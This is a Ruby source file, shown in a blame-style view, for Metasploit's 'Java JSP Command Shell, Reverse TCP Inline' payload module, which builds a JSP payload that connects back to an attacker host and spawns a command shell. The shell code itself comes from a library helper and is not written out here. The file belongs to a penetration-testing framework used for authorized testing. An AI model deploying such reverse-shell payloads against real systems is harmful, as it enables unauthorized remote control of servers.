metasploit-framework/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb

49 lines
1.2 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
2013-10-15 19:52:12 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/payload/jsp'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
CachedSize = 1501
2013-08-30 21:28:54 +00:00
include Msf::Payload::Single
2013-12-31 14:27:37 +00:00
include Msf::Payload::JSP
2013-08-30 21:28:54 +00:00
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Java JSP Command Shell, Reverse TCP Inline',
'Description' => 'Connect back to attacker and spawn a command shell',
'Author' => [ 'sf' ],
'License' => MSF_LICENSE,
'Platform' => %w{ linux osx solaris unix win },
2013-08-30 21:28:54 +00:00
'Arch' => ARCH_JAVA,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
def generate
if( !datastore['LHOST'] or datastore['LHOST'].empty? )
return super
end
2013-12-31 14:27:37 +00:00
return super + jsp_reverse_tcp
2013-12-30 19:53:58 +00:00
end
end